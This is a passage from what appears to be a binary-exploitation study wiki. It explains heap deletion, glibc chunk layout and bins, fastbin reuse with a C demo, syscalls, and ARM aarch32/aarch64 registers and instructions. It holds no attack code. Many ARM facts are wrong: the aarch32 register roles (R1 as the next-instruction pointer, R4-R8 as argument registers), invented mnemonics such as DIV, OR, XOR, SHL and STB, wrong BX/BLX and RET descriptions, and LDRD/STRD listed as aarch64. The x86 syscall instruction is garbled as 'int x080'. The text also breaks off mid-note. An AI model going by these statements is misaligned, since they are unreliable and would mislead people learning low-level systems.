* Replace the element to be deleted by the last element in the heap.
* Delete the last item from the heap.
* Now, the last element is placed at some position in heap, it may not follow the property of the heap, so a down\_heapify() operation is done in order to maintain heap structure.

> Example

Initially the heap is(It follows max-heap property)

Element to be deleted is 6

{% @mermaid/diagram content="graph TD
6 --- 4
6 --- 5
5 --- 1
4 --- 3
4 --- 2" %}

Element to be deleted : 6

* Step 1, replace the last element with the targeted element to remove

{% @mermaid/diagram content="graph TD
1 --- 4
1 --- 5
5 --- 6
4 --- 3
4 --- 2" %}

* Step 2, remove the last element

{% @mermaid/diagram content="graph TD
1 --- 4
1 --- 5
4 --- 3
4 --- 2" %}

* Realize an heapify down from the replaced element ( here is root )

{% @mermaid/diagram content="graph TD
5 --- 4
4 --- 3
4 --- 2
5 --- 1" %}

### Find-max / Find-min

The maximum element and the minimum element in the max-heap and min-heap is found at the root node of the heap.

### Extract Min-Max

This operation returns and deletes the maximum or minimum element in max-heap and min-heap respectively. The maximum element is found at the root node.


# Chunk

A heap chunk is a block of memory that is allocated on the heap, a section of memory used for dynamic memory allocation.

## Allocated Chunks

A chunk has two sections :&#x20;

* **Metadata** : information about the chunk
* **User data** : data stored

Within metadatas, there is 5 informations :&#x20;

* **Previous size** : Contain the size of the previous chunk
* **Size** : Contain the size of the chunk
* **A ( NON MAIN ARENA )**: 0 for chunks in the main arena. Each thread spawned receives its own arena and for those chunks, this bit is set.
* **M ( IS MMAPPED ):** Is 1 if the chunk is obtained through `mmap`. The other two bits are ignored. `mmapped` chunks are neither in an arena, not adjacent to a free chunk.
* **P (PREV\_INUSE)**: 0 when previous chunk (not the previous chunk in the linked list, but the one directly before it in memory) is free (and hence the size of previous chunk is stored in the first field). The very first chunk allocated has this bit set. If it is 1, then we cannot determine the size of the previous chunk.

```
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
Metadata -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk, in bytes                     |A|M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             User data                                         |
            |             ...                                               |
            |             ...                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             (size of chunk)                                   |
Metadata -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|1|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```

{% hint style="info" %}
The end of the user data contain the chunk size that is write at the prev\_size area of the next chunk.

`mem` is the pointer which is returned to the user.
{% endhint %}

## Free chunk

Free chunks have the same metadatas as an allocated chunk.&#x20;

There is no user data ( actually is pretty logic ) , in place there is pointers to the next chunk and the previous chunk.

```
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
Metadata -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk, in bytes                     |A|0|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Forward pointer to next chunk in list             |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Back pointer to previous chunk in list            |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Unused space (may be 0 bytes long)                |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk, in bytes                           |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|0|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```


# Bins

Free chunks collections

A bin is a list of free chunks.&#x20;

There are different bins type differentiated depending on the size of chunks within them.

When a is chunk is freed, it is moved into the associated bin.

{% hint style="info" %}
*Note:* this movement **is not physical**
{% endhint %}

## Fast bins

There are 10 fast bins that contain chunks of the same size :&#x20;

* 16 bytes
* 24 bytes
* 32 bytes
* 40 bytes
* 48 bytes
* 56 bytes
* 64 bytes
* 72 bytes
* 80 bytes
* 88 bytes

{% hint style="info" %}
The size include meatada
{% endhint %}

Addition and deletion occur in a Last in Frist Out (LIFO) manner.&#x20;

To store chunks, 4 fewer bytes will be available (on a platform where pointers use 4 bytes). Only the `prev_size` and `size` field of this chunk will hold metadata for allocated chunks. `prev_size` of next contiguous chunk will hold user data.

No two contiguous free fast chunks coalesce together.

{% hint style="info" %}
*Note*: Chunks in fastbins are treated as *allocated* chunks in the sense that they are not consolidated with neighboring free chunks.
{% endhint %}

## Unsorted bin

There is only 1 unsorted bin. Small and large chunks, when freed, end up in this bin. The primary purpose of this bin is to act as a cache layer (kind of) to speed up allocation and deallocation requests.

## Small bins

There are 62 small bins.&#x20;

Small bins are faster than large bins but slower than fast bins. Each bin maintains a doubly-linked list. Insertions happen at the 'HEAD' while removals happen at the 'TAIL' (in a FIFO manner).

Like fast bins, each bin has chunks of the same size. The 62 bins have sizes: 16, 24, ... , 504 bytes.

While freeing, small chunks may be coalesced together before ending up in unsorted bins.

## Large bins

There are 63 large bins.

Each bin maintains a doubly-linked list. A particular large bin has chunks of different sizes, sorted in decreasing order (i.e. largest chunk at the 'HEAD' and smallest chunk at the 'TAIL'). Insertions and removals happen at any position within the list.

Like small chunks, while freeing, large chunks may be coalesced together before ending up in unsorted bins.

There are two special types of chunks which are not part of any bin.

## Top chunk

It is the chunk which borders the top of an arena. While servicing `malloc` requests, it is used as the last resort.

If still more size is required, it can grow using the `sbrk` system call. The `PREV_INUSE` flag is always set for the top chunk.

## Last remainder chunk

It is the chunk obtained from the last split.&#x20;

Sometimes, when exact size chunks are not available, bigger chunks are split into two. One part is returned to the user whereas the other becomes the last remainder chunk.

## Head and Tail

Each bin is represented by two values, the `HEAD` and `TAIL`.&#x20;

As it sounds, `HEAD` is at the top and `TAIL` at the bottom.&#x20;

Most insertions happen at the `HEAD`, so in LIFO structures (such as the fastbins) reallocation occurs there too, whereas in FIFO structures (such as small bins) reallocation occurs at the `TAIL`.&#x20;

For fastbins, the `TAIL` is `null`.


# Chunk allocation and reallocation

Bins exist to reuse chunks. Here there is a quick example at how it's done.

## Fastbins

Fastbins are probably the easiest to explain as they are grouped by size.

The last chunk to be placed in the bin is the first chunk reallocated.

A simple C program can highlight this behavior :&#x20;

```c
#include <stdio.h>
#include <stdlib.h>

int main() {
    char *a = malloc(20);
    char *b = malloc(20);
    char *c = malloc(20);
    
    printf("a: %p\nb: %p\nc: %p\n", a, b, c);

    puts("Freeing...");

    free(a);
    free(b);
    free(c);

    puts("Re-allocating...");

    char *d = malloc(20);
    char *e = malloc(20);
    char *f = malloc(20);

    printf("d: %p\ne: %p\nf: %p\n", d, e, f);
}
```

```
a: 0x55c9fe6de2a0
b: 0x55c9fe6de2c0
c: 0x55c9fe6de2e0
Freeing...
Re-allocating...
d: 0x55c9fe6de2e0
e: 0x55c9fe6de2c0
f: 0x55c9fe6de2a0
```

This specific fastbin progresses as follows:

{% @mermaid/diagram content="%%{init: { "flowchart": { "htmlLabels": true, "curve": "linear" } } }%%
graph TD
free2("free(a)") --> 2a
subgraph one
2(HEAD)
2 --> 2a(a)
end
free3("free(b)") --> 3b
subgraph two
3(HEAD)
3 --> 3a(a)
3a --> 3b(b)
end
free4("free(c)") --> 4c
subgraph three
4(HEAD)
4 --> 4a(a)
4a --> 4b(b)
4b --> 4c(c)
end

" %}

And then when data are reallocated :&#x20;

{% @mermaid/diagram content="%%{init: { "flowchart": { "htmlLabels": true, "curve": "linear" } } }%%
graph LR

subgraph init
inith(HEAD)
inith --> inita(a)
inita --> initb(b)
initb --> initc(c)
end
init -- "malloc() d" --> one
subgraph one
2(HEAD)
2 --> 2a(a)
2a --> 2b(b)
end

one -- "malloc() e" --> two

subgraph two
3(HEAD)
3 --> 3a(a)
end
two -- "malloc() f" --> three
subgraph three
4(HEAD)
end

" %}

{% hint style="info" %}
&#x20;the chunk `a` gets reassigned to chunk `f`, `b` to `e` and `c` to `d`.

Then, if a chunk is freed, thee is a good chance that the next malloc() - if it's the same size - will use the same chunk
{% endhint %}

## Unsorted Bins

When **a non-fast chunk is freed**, it gets put **into the Unsorted Bin**. When new chunks are requested, glibc looks at the unsorted bin.

* If the requested size **is equal** to the size of the chunk in the bin, **return the chunk**
* If **it's smaller**, **split** the chunk in the bin in two and **return a portion of the correct size**


# Syscall

System Call

A **sys**tem **call** is a request made by a program to the kernel to perform a specific function, such as input/output operations, memory allocation, or process control.

**Syscalls** are typically made through an **interrupt instruction**, which is a special type of instruction that stops the execution and transfers control to the kernel. The kernel then performs the requested service and returns control to the program once it is completed.

{% hint style="info" %}
Certain syscalls are similar to libc functions such as `open()`, `fork()` or `read()`; this is because these functions are simply syscalls wrappers, making it much easier for programmers.
{% endhint %}

{% hint style="success" %}
[Here](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md) is a list of syscalls for x86/x64  and arm architectures
{% endhint %}

## Make a Syscall

The instruction used to make a system call vary for each instruction set architecture. Here is some example :&#x20;

* [x86](/pwn/architectures/x86-x64/instruction-set) --> `int x080`
* [x64](/pwn/architectures/x86-x64/instruction-set) --> `syscall` os `sysenter`
* [aarch32](/pwn/architectures/aarch32/instruction-set) --> `svc`
* etc.

Once the **syscall instruction** is called, the kernel will check the value stored into a specific register ( [accumulator register](/pwn/architectures/x86-x64/registers) for x86/x64 i.e. EAX or RAX ) - **This is the syscall number** which defines **what syscall gets run**.&#x20;

Parameters are stored into the others register dependent of each syscall needs.&#x20;

{% hint style="info" %}
Nowaday syscalls aren't realy used for standard call such as `exit` or `write` due to `vDSO.`

**`vDSO` is a mechanism used to accelerate certain system calls** in Linux by providing a memory area allocated in user space **that exposes some kernel functionality in a safe manner.**
{% endhint %}


# Architectures


# aarch32

AArch32 (also known as ARMv7-A) is a 32-bit instruction set architecture (ISA) that is used in many modern ARM processors. It is a Reduced Instruction Set Computing (RISC) architecture that is designed for efficient execution of instructions and low power consumption.

This instruction set architecture is used in a variety of devices, including smartphones, tablets, embedded systems, and other portable devices. It is known for its high level of performance and energy efficiency, which make it well-suited for use in devices with limited power and cooling resources.

{% hint style="danger" %}
**Aarch32** and **aarch64** are two different instruction set architectures (ISAs) used in computers. **Aarch32 is a 32-bit ISA**, while **aarch64 is a 64-bit ISA**. This means that aarch64 is capable of handling larger amounts of data and memory compared to aarch32. In general, aarch64 is more powerful and efficient than aarch32, but **it is not backward-compatible with aarch32.** This means that software designed for aarch32 may not be able to run on aarch64 without modification
{% endhint %}

{% content-ref url="/pages/C93A5K0x4fLe0V5mPHQo" %}
[Registers](/pwn/architectures/aarch32/registers)
{% endcontent-ref %}

{% content-ref url="/pages/HRNl4E03noue04Z0Auvv" %}
[Instruction set](/pwn/architectures/aarch32/instruction-set)
{% endcontent-ref %}

{% content-ref url="/pages/Jh8qbPwn6TKNHDr2pEp9" %}
[Calling convention](/pwn/architectures/aarch32/calling-convention)
{% endcontent-ref %}


# Registers

In the aarch32 instruction set, there are 16 general-purpose registers.&#x20;

These registers are labeled R0 through R15 and are used to store data and instructions during the execution of a program. Each register is 32 bits wide and can be used to store a wide range of data types, including integers, floating-point numbers, and memory addresses.&#x20;

The specific use of each register depends on the instructions being executed and the data being processed. Some of the registers have special purposes, such as storing the results of arithmetic operations or holding the address of the next instruction to be executed.

Here is a table listing the main purpose of each register in the aarch32 instruction set:

<table><thead><tr><th width="144">Register</th><th width="90">Alias</th><th>Usage</th></tr></thead><tbody><tr><td>R0</td><td>-</td><td>Store the results of arithmetic operations</td></tr><tr><td>R1</td><td>-</td><td>Store the address of the next instruction to be executed</td></tr><tr><td>R2-R3</td><td>-</td><td>General-purpose registers</td></tr><tr><td>R4-R8</td><td>-</td><td>Argument registers when calling functions</td></tr><tr><td>R9</td><td>-</td><td>Platform-specific register, such as a thread-ID register on some systems</td></tr><tr><td>R10</td><td>-</td><td>General-purpose register </td></tr><tr><td>R11</td><td>FP</td><td>Frame Pointer</td></tr><tr><td>R12</td><td>IP</td><td>Intra-procedure-call scratch register</td></tr><tr><td>R13</td><td>SP</td><td>Stack Pointer</td></tr><tr><td>R14</td><td>LR</td><td>Link Register or subroutine return address</td></tr><tr><td>R15</td><td>PC</td><td>Program Counter</td></tr><tr><td>CPSR</td><td>-</td><td>Current Program Status Register</td></tr></tbody></table>

{% hint style="warning" %}
Note that the specific purpose of each register can vary depending on the context in which it is used and the instructions being executed. These are just the general purposes of each register.
{% endhint %}

{% hint style="info" %}
In the aarch32 instruction set, the equivalent of the EIP (instruction pointer) and CS (code segment) registers in the x86 instruction set is the R15 register, which is used as the program counter. The program counter holds the memory address of the next instruction to be executed.
{% endhint %}

The following table is just a quick glimpse into how the ARM registers **could** relate to those in Intel processors.

<table><thead><tr><th width="162.33333333333331">ARM</th><th width="364">Usage</th><th>x86</th></tr></thead><tbody><tr><td>R0</td><td>General Purpose</td><td>EAX</td></tr><tr><td>R1-R5</td><td>General Purpose</td><td>EBX, ECX, EDX, ESI, EDI</td></tr><tr><td>R6-R10</td><td>General Purpose</td><td>–</td></tr><tr><td>R11 (FP)</td><td>Frame Pointer</td><td>EBP</td></tr><tr><td>R12</td><td>Intra Procedural Call</td><td>–</td></tr><tr><td>R13 (SP)</td><td>Stack Pointer</td><td>ESP</td></tr><tr><td>R14 (LR)</td><td>Link Register</td><td>–</td></tr><tr><td>R15 (PC)</td><td>&#x3C;- Program Counter / Instruction Pointer -></td><td>EIP</td></tr><tr><td>CPSR</td><td>Current Program State Register/Flags</td><td>EFLAGS</td></tr></tbody></table>

**R0-R12**: can be used during common operations to store temporary values, pointers (locations to memory), etc. R0, for example, can be referred as accumulator during the arithmetic operations or for storing the result of a previously called function. R7 becomes useful while working with syscalls as it stores the syscall number and R11 helps us to keep track of boundaries on the stack serving as the frame pointer (will be covered later). Moreover, the function calling convention on ARM specifies that the first four arguments of a function are stored in the registers r0-r3.

**R13: SP** (Stack Pointer). The Stack Pointer points to the top of the stack. The stack is an area of memory used for function-specific storage, which is reclaimed when the function returns. The stack pointer is therefore used for allocating space on the stack, by subtracting the value (in bytes) we want to allocate from the stack pointer. In other words, if we want to allocate a 32 bit value, we subtract 4 from the stack pointer.

**R14: LR** (Link Register). When a function call is made, the Link Register gets updated with a memory address referencing the next instruction where the function was initiated from. Doing this allows the program return to the “parent” function that initiated the “child” function call after the “child” function is finished.

**R15: PC** (Program Counter). The Program Counter is automatically incremented by the size of the instruction executed. This size is always 4 bytes in ARM state and 2 bytes in THUMB mode. When a branch instruction is being executed, the PC holds the destination address. During execution, PC stores the address of the current instruction plus 8 (two ARM instructions) in ARM state, and the current instruction plus 4 (two Thumb instructions) in Thumb(v1) state. This is different from x86 where PC always points to the next instruction to be executed.

> ## Resources

{% embed url="<https://azeria-labs.com/arm-data-types-and-registers-part-2/>" %}
arm-data-types-and-registers
{% endembed %}


# Instruction set

The aarch32 instruction set is divided into several categories, each of which serves a specific purpose. The main categories of instructions in aarch32 include:

<table><thead><tr><th width="217">Category</th><th>Description</th></tr></thead><tbody><tr><td>Data processing</td><td>Perform arithmetic and logical operations on data</td></tr><tr><td>Load/store</td><td>Move data between memory and registers</td></tr><tr><td>Control flow</td><td>Control the flow of execution in a program</td></tr><tr><td>Exception-generating</td><td>Trigger exceptions or interrupts</td></tr><tr><td>Synchronization</td><td>Manage concurrent access to shared data</td></tr><tr><td>System</td><td>Access system resources or perform other privileged operations</td></tr></tbody></table>

{% hint style="warning" %}
This is just a brief overview of some of the main instruction categories in the aarch32 ISA. There are many other instruction categories and specific instructions within each category, each of which serves a specific purpose and can be used in various ways to implement a given algorithm or program.
{% endhint %}

## Data porcessing

<table><thead><tr><th width="137">Instruction</th><th>Description</th></tr></thead><tbody><tr><td>ADD</td><td>Add two registers or a register and an immediate value</td></tr><tr><td>SUB</td><td>Subtract two registers or a register and an immediate value</td></tr><tr><td>MUL</td><td>Multiply two registers</td></tr><tr><td>DIV</td><td>Divide two registers</td></tr><tr><td>AND</td><td>Perform a bitwise AND operation on two registers or a register and an immediate value</td></tr><tr><td>OR</td><td>Perform a bitwise OR operation on two registers or a register and an immediate value</td></tr><tr><td>XOR</td><td>Perform a bitwise XOR operation on two registers or a register and an immediate value</td></tr><tr><td>NOT</td><td>Perform a bitwise NOT operation on a register</td></tr><tr><td>SHL</td><td>Shift the bits in a register to the left by a specified number of positions</td></tr><tr><td>SHR</td><td>Shift the bits in a register to the right by a specified number of positions</td></tr></tbody></table>

{% hint style="warning" %}
Note that this is not an exhaustive list of data processing instructions in the aarch32 instruction set. There are many other instructions that can be used to perform a wide range of operations on data. The specific instructions available and their exact behavior may vary depending on the implementation of the aarch32 instruction set.
{% endhint %}

## Load/Store

<table><thead><tr><th width="167">Instruction</th><th>Description</th></tr></thead><tbody><tr><td>LDR</td><td>Load a word from memory into a register</td></tr><tr><td>STR</td><td>Store a word from a register into memory</td></tr><tr><td>LDRSB</td><td>Load a signed byte from memory into a register</td></tr><tr><td>LDRSH</td><td>Load a signed half-word from memory into a register</td></tr><tr><td>LDRB</td><td>Load an unsigned byte from memory into a register</td></tr><tr><td>LDRH</td><td>Load an unsigned half-word from memory into a register</td></tr><tr><td>STB</td><td>Store a byte from a register into memory</td></tr><tr><td>STH</td><td>Store a half-word from a register into memory</td></tr></tbody></table>

{% hint style="warning" %}
Note that this is not an exhaustive list of load/store instructions in the aarch32 instruction set. There are many other instructions that can be used to load and store data from memory using a variety of addressing modes and data types. The specific instructions available and their exact behavior may vary depending on the implementation of the aarch32 instruction set.
{% endhint %}

## Control flow

<table><thead><tr><th width="135">Instruction</th><th>Description</th></tr></thead><tbody><tr><td>B</td><td>Unconditionally branch to a specified address</td></tr><tr><td>BEQ</td><td>Branch to a specified address if two registers are equal</td></tr><tr><td>BNE</td><td>Branch to a specified address if two registers are not equal</td></tr><tr><td>BL</td><td>Branch to a specified address and save the return address in a register</td></tr><tr><td>BLE</td><td>Branch to a specified address if the value in a register is less than or equal to zero</td></tr><tr><td>BLX</td><td>Branch to a specified address and switch to Thumb mode</td></tr><tr><td>BX</td><td>Branch to a specified address and switch to ARM mode</td></tr></tbody></table>

{% hint style="warning" %}
Note that this is not an exhaustive list of control flow instructions in the aarch32 instruction set. There are many other instructions that can be used to control the flow of execution in a program, such as conditional branches and subroutine calls. The specific instructions available and their exact behavior may vary depending on the implementation of the aarch32 instruction set.
{% endhint %}

## Exception-generating

<table><thead><tr><th width="164">Instruction</th><th>Description</th></tr></thead><tbody><tr><td>SVC</td><td>Trigger a supervisor call (SVC) exception</td></tr><tr><td>BKPT</td><td>Trigger a breakpoint exception</td></tr><tr><td>HVC</td><td>Trigger a hypervisor call (HVC) exception</td></tr></tbody></table>

{% hint style="warning" %}
Note that this is not an exhaustive list of exception-generating instructions in the aarch32 instruction set. There are many other instructions that can be used to trigger different types of exceptions or interrupts, such as data abort and undefined instruction exceptions. The specific instructions available and their exact behavior may vary depending on the implementation of the aarch32 instruction set.
{% endhint %}

## Synchronization

<table><thead><tr><th width="177">Instruction</th><th>Description</th></tr></thead><tbody><tr><td>DMB</td><td>Ensure that all memory accesses before this instruction have completed before any memory accesses after this instruction are performed</td></tr><tr><td>DSB</td><td>Ensure that all memory accesses before this instruction have completed before the processor can execute any subsequent instructions</td></tr><tr><td>ISB</td><td>Ensure that all instructions before this instruction have completed before any subsequent instructions are executed</td></tr></tbody></table>

{% hint style="warning" %}
Note that this is not an exhaustive list of synchronization instructions in the aarch32 instruction set. There are many other instructions that can be used to manage concurrent access to shared data by multiple threads or processes. The specific instructions available and their exact behavior may vary depending on the implementation of the aarch32 instruction set.
{% endhint %}

## System

<table><thead><tr><th width="147">Instruction</th><th>Description</th></tr></thead><tbody><tr><td>MRS</td><td>Read the value of a system register into a register</td></tr><tr><td>MSR</td><td>Write a value to a system register from a register</td></tr><tr><td>CPS</td><td>Change the current processor mode or the state of interrupts</td></tr><tr><td>SYS</td><td>Perform a privileged operation or access a system resource</td></tr></tbody></table>

{% hint style="warning" %}
Note that this is not an exhaustive list of system instructions in the aarch32 instruction set. There are many other instructions that can be used to access system resources or perform other privileged operations. The specific instructions available and their exact behavior may vary depending on the implementation of the aarch32 instruction set.
{% endhint %}


# Calling convention

The AArch32 instruction set, which is used on ARM processors, supports several different calling conventions, which define how functions are called and how arguments are passed between functions in a program. Some of the most commonly used calling conventions on the AArch32 instruction set include:

* **AAPCS**: This is the default calling convention for the AArch32 instruction set. It is used for functions written in C or C++ and is based on the ARM Procedure Call Standard. In this convention, arguments are passed to the function in registers, and any additional arguments are passed on the stack. The return value is stored in the R0 register.
* **AAPCS-VFP**: This calling convention is an extension of the AAPCS convention and is used for functions that use the VFP (Vector Floating Point) unit. It is similar to the AAPCS convention, but it includes additional rules for passing arguments that are stored in the VFP registers.
* **EABI**: This calling convention is based on the Embedded Application Binary Interface and is used for functions that are compiled for the AArch32 instruction set. It is similar to the AAPCS convention, but it includes additional rules for handling certain types of arguments, such as structures and unions.

Overall, the AArch32 instruction set supports a number of different calling conventions, which allows it to be used in a variety of programming languages and environments. The specific calling convention that is used can affect the performance and compatibility of a program, as well as the interactions between functions and libraries.


# aarch64

AArch64 (also known as ARMv8-A) is a 64-bit instruction set architecture (ISA) that is used in many modern ARM processors. It is a Reduced Instruction Set Computing (RISC) architecture that is designed for efficient execution of instructions and low power consumption.

The AArch64 ISA includes a large number of registers, which are used to store data and intermediate results during the execution of a program. It also includes a wide range of instructions for performing arithmetic, logical, and control operations, as well as instructions for accessing memory and interacting with peripherals.

The AArch64 ISA is used in a variety of devices, including servers, desktop computers, laptops, and embedded systems. It is known for its high level of performance and energy efficiency, which make it well-suited for use in a wide range of applications.

Overall, the AArch64 ISA is a powerful and flexible architecture that is used in many modern devices and applications. It is known for its efficiency and low power consumption, as well as its support for 64-bit integers and pointers, which make it well-suited for use in a wide range of applications.

{% hint style="danger" %}
**Aarch32** and **aarch64** are two different instruction set architectures (ISAs) used in computers. **Aarch32 is a 32-bit ISA**, while **aarch64 is a 64-bit ISA**. This means that aarch64 is capable of handling larger amounts of data and memory compared to aarch32. In general, aarch64 is more powerful and efficient than aarch32, but **it is not backward-compatible with aarch32.** This means that software designed for aarch32 may not be able to run on aarch64 without modification
{% endhint %}

{% content-ref url="/pages/6QFFYvz16vyWorME2Bl6" %}
[Registers](/pwn/architectures/aarch64/registers)
{% endcontent-ref %}

{% content-ref url="/pages/xGfhj5c77krUsFcg4GEG" %}
[Instruction set](/pwn/architectures/aarch64/instruction-set)
{% endcontent-ref %}

{% content-ref url="/pages/VVsJLwbDk9VBoMKDKsHZ" %}
[Calling convention](/pwn/architectures/aarch64/calling-convention)
{% endcontent-ref %}


# Registers

In the aarch64 instruction set, there are 31 general-purpose registers. These registers are labeled X0 through X30 and are used to store data and instructions during the execution of a program.&#x20;

Each register is 64 bits wide and can be used to store a wide range of data types, including integers, floating-point numbers, and memory addresses.&#x20;

The specific use of each register depends on the instructions being executed and the data being processed. Some of the registers have special purposes, such as storing the results of arithmetic operations or holding the address of the next instruction to be executed.

Here is a table listing the main purpose of each register in the aarch64 instruction set:

<table><thead><tr><th width="123">Register</th><th>Usage</th></tr></thead><tbody><tr><td>X0</td><td>Store the results of arithmetic operations</td></tr><tr><td>X1-X7</td><td>arguments and return value</td></tr><tr><td>X8 - X17</td><td>temporary registers</td></tr><tr><td>X18</td><td>Global pointer</td></tr><tr><td>X19-X28</td><td>Callee-saved registers</td></tr><tr><td>X29</td><td>Frame pointer</td></tr><tr><td>X30</td><td>Link register or as a subroutine return address</td></tr><tr><td>SP</td><td>Stack pointer</td></tr><tr><td>PSTATE</td><td>processor state</td></tr></tbody></table>

{% hint style="info" %}
Each register can be used as a 64-bit X register (X0..X30), or as a 32-bit W register (W0..W30)
{% endhint %}

{% hint style="warning" %}
Note that the specific purpose of each register can vary depending on the context in which it is used and the instructions being executed. These are just the general purposes of each register.
{% endhint %}

**x0 – x7** are used to pass parameters and return values. The value of these registers may be freely modified by the called function (the callee) so the caller cannot assume anything about their content, even if they are not used in the parameter passing or for the returned value. This means that these registers are in practice caller-saved.

**x8 – x18** are temporary registers for every function. No assumption can be made on their values upon returning from a function. In practice these registers are also caller-saved.

**x19 – x28** are registers, that, if used by a function, must have their values preserved and later restored upon returning to the caller. These registers are known as callee-saved.

**x29** can be used as a frame pointer

**x30** is the link register. The callee should save x30 if it intends to call a subroutine.


# Instruction set

The aarch64 instruction set is an extension of the [aarch32 instruction](/pwn/architectures/aarch32/instruction-set) set, with additional instructions and enhancements to support 64-bit computing.&#x20;

Aarch64 supports more instructions, such as floating-point operations and SIMD instructions. Aarch32 only supports a limited set operations.

## Data processing

<table><thead><tr><th width="156">Instruction</th><th>Description</th></tr></thead><tbody><tr><td>FMADD</td><td>Perform a fused multiply-add operation</td></tr><tr><td>FMSUB</td><td>Perform a fused multiply-subtract operation</td></tr><tr><td>FMUL</td><td>Multiply two floating-point registers</td></tr><tr><td>FDIV</td><td>Divide two floating-point registers</td></tr><tr><td>FCMP</td><td>Compare two floating-point registers</td></tr><tr><td>FMOV</td><td>Move a floating-point value from one register to another</td></tr><tr><td>FCVT</td><td>Convert a floating-point value to a different data type</td></tr><tr><td>STLR</td><td>Store a word from a register into memory and make the store visible to other processors</td></tr></tbody></table>

{% hint style="warning" %}
Note that this is not an exhaustive list of data processing instructions that are available in the aarch64 instruction set but not in the aarch32 instruction set. There are many other instructions that can be used to perform a wide range of operations on data. The specific instructions available and their exact behavior may vary depending on the implementation of the aarch64 instruction set.
{% endhint %}

## Load/Store

<table><thead><tr><th width="139">Instruction</th><th>Description</th></tr></thead><tbody><tr><td>LDUR</td><td>Load a word from memory into a register using an offset from the base register</td></tr><tr><td>STUR</td><td>Store a word from a register into memory using an offset from the base register</td></tr><tr><td>LDRD</td><td>Load two consecutive words from memory into two registers</td></tr><tr><td>STRD</td><td>Store two consecutive words from two registers into memory</td></tr><tr><td>LDXP</td><td>Load a word from memory using an address calculated from two registers</td></tr><tr><td>STXP</td><td>Store a word into memory using an address calculated from two registers</td></tr><tr><td>LDAR</td><td>Load a word from memory and make the load visible to other processors</td></tr></tbody></table>

{% hint style="warning" %}
Note that this is not an exhaustive list of load/store instructions that are available in the aarch64 instruction set but not in the aarch32 instruction set. There are many other instructions that can be used to load and store data from memory using a variety of addressing modes and data types. The specific instructions available and their exact behavior may vary depending on the implementation of the aarch64 instruction set.
{% endhint %}

## &#x20;Control Flow

<table><thead><tr><th width="135">Instruction</th><th>Description</th></tr></thead><tbody><tr><td>CBZ</td><td>Branch to a specified address if the value in a register is zero</td></tr><tr><td>CBNZ</td><td>Branch to a specified address if the value in a register is not zero</td></tr><tr><td>BLR</td><td>Branch to the address stored in a register</td></tr><tr><td>RET</td><td>Return from a subroutine and restore the return address from the stack</td></tr><tr><td>BRK</td><td>Trigger a breakpoint exception</td></tr><tr><td>HLT</td><td>Halt the processor until an external event occurs</td></tr></tbody></table>

{% hint style="warning" %}
Note that this is not an exhaustive list of control flow instructions that are available in the aarch64 instruction set but not in the aarch32 instruction set. There are many other instructions that can be used to control the flow of execution in a program, such as conditional branches and subroutine calls. The specific instructions available and their exact behavior may vary depending on the implementation of the aarch64 instruction set.
{% endhint %}

## Exception-generating

<table><thead><tr><th width="141">Instruction</th><th>Description</th></tr></thead><tbody><tr><td>SVC</td><td>Trigger a supervisor call (SVC) exception</td></tr><tr><td>HVC</td><td>Trigger a hypervisor call (HVC) exception</td></tr><tr><td>SMC</td><td>Trigger a secure monitor call (SMC) exception</td></tr><tr><td>BRK</td><td>Trigger a breakpoint exception</td></tr><tr><td>HLT</td><td>Halt the processor until an external event occurs</td></tr><tr><td>ERET</td><td>Return from an exception or interrupt</td></tr></tbody></table>

{% hint style="warning" %}
Note that this is not an exhaustive list of exception-generating instructions that are available in the aarch64 instruction set but not in the aarch32 instruction set. There are many other instructions that can be used to trigger different types of exceptions or interrupts, such as data abort and undefined instruction exceptions. The specific instructions available and their exact behavior may vary depending on the implementation of the aarch64 instruction set.
{% endhint %}

## Synchronization

<table><thead><tr><th width="145">Instruction</th><th>Description</th></tr></thead><tbody><tr><td>DMB</td><td>Ensure that all memory accesses before this instruction have completed before any memory accesses after this instruction are performed</td></tr><tr><td>DSB</td><td>Ensure that all memory accesses before this instruction have completed before the processor can execute any subsequent instructions</td></tr><tr><td>ISB</td><td>Ensure that all instructions before this instruction have completed before any subsequent instructions are executed</td></tr><tr><td>CAS</td><td>Compare the value in a register with the value in memory, and store a new value in memory if they match</td></tr><tr><td>LDXR</td><td>Load a word from memory using an atomic read-modify-write operation</td></tr><tr><td>STXR</td><td>Store a word into memory using an atomic read-modify-write operation</td></tr></tbody></table>

{% hint style="warning" %}
